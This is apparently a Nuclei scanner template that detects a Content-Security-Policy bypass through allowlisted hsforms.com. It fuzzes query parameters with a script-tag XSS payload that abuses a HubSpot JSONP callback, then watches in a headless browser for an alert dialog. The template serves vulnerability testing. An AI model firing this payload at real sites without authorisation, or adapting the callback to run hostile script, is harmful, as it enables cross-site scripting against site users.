id: hsforms-csp-bypass

info:
  name: Content-Security-Policy Bypass - HSForms
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,hsforms,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "hsforms.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: hsforms_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://forms.hsforms.com/embed/v3/form/1/00000000-0000-0000-0000-000000000000?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "hsforms_csp_xss == true"
# digest: 4b0a00483046022100a9c3e2816c6dcfc34d479497e6d9e4e23f84c3fce2f367d800ef60b60ec1f173022100f21d919d6a3aec09402bc77c91bf8025308ca6a4a28034a755320cf4fc79cfd3:922c64590222798bb761d5b6d8e72950